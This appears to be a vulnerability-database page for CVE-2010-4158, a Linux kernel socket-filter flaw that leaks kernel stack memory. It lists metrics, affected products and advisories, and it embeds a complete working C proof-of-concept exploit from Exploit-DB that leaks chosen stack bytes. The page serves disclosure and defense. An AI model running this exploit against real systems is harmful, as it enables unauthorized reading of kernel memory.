CVE-2010-4158 : Detail

CVE-2010-4158

A01-Broken Access Control
0.06%V3
Local
2010-12-30
17h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The sk_run_filter function in net/core/filter.c in the Linux kernel before 2.6.36.2 does not check whether a certain memory location has been initialized before executing a (1) BPF_S_LD_MEM or (2) BPF_S_LDX_MEM instruction, which allows local users to obtain potentially sensitive information from kernel stack memory via a crafted socket filter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 34987

Publication date : 2010-11-08 23h00 +00:00
Author : Dan Rosenberg
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/44758/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. */ /* * You've done it. After hours of gdb and caffeine, you've finally got a shell * on your target's server. Maybe next time they will think twice about * running MyFirstCompSciProjectFTPD on a production machine. As you take * another sip of Mountain Dew and pick some of the cheetos out of your beard, * you begin to plan your next move - it's time to tackle the kernel. * * What should be your goal? Privilege escalation? That's impossible, there's * no such thing as a privilege escalation vulnerability on Linux. Denial of * service? What are you, some kind of script kiddie? No, the answer is * obvious. You must read the uninitialized bytes of the kernel stack, since * these bytes contain all the secrets of the universe and the meaning of life. * * How can you accomplish this insidious feat? You immediately discard the * notion of looking for uninitialized struct members that are copied back to * userspace, since you clearly need something far more elite. In order to * prove your superiority, your exploit must be as sophisticated as your taste * in obscure electronic music. After scanning the kernel source for good * candidates, you find your target and begin to code... * * by Dan Rosenberg * * Greets to kees, taviso, jono, spender, hawkes, and bla * */ #include <string.h> #include <stdio.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> #include <stdlib.h> #include <linux/filter.h> #define PORT 37337 int transfer(int sendsock, int recvsock) { struct sockaddr_in addr; char buf[512]; int len = sizeof(addr); memset(buf, 0, sizeof(buf)); if (fork()) return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len); sleep(1); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len); exit(0); } int main(int argc, char * argv[]) { int sendsock, recvsock, ret; unsigned int val; struct sockaddr_in addr; struct sock_fprog fprog; struct sock_filter filters[5]; if (argc != 2) { printf("[*] Usage: %s offset (0-63)\n", argv[0]); return -1; } val = atoi(argv[1]); if (val > 63) { printf("[*] Invalid byte offset (must be 0-63)\n"); return -1; } recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (recvsock < 0 || sendsock < 0) { printf("[*] Could not create sockets.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[*] Could not bind socket.\n"); return -1; } memset(&fprog, 0, sizeof(fprog)); memset(filters, 0, sizeof(filters)); filters[0].code = BPF_LD|BPF_MEM; filters[0].k = (val & ~0x3) / 4; filters[1].code = BPF_ALU|BPF_AND|BPF_K; filters[1].k = 0xff << ((val % 4) * 8); filters[2].code = BPF_ALU|BPF_RSH|BPF_K; filters[2].k = (val % 4) * 8; filters[3].code = BPF_ALU|BPF_ADD|BPF_K; filters[3].k = 256; filters[4].code = BPF_RET|BPF_A; fprog.len = 5; fprog.filter = filters; if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) { printf("[*] Failed to install filter.\n"); return -1; } ret = transfer(sendsock, recvsock); printf("[*] Your byte: 0x%.02x\n", ret - 248); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36.2

Configuraton 0

Fedoraproject>>Fedora >> Version 13

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

References

http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/42801
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0017.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/46397
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/42932
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0007.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2011/0124
Tags : vdb-entry, x_refsource_VUPEN
http://www.spinics.net/lists/netdev/msg146361.html
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/archive/1/514845
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.vupen.com/english/advisories/2010/3321
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2010-0958.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/42963
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/44758
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/42884
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0375
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42890
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0162.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0168
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:029
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/42745
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/43291
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/514705
Tags : mailing-list, x_refsource_BUGTRAQ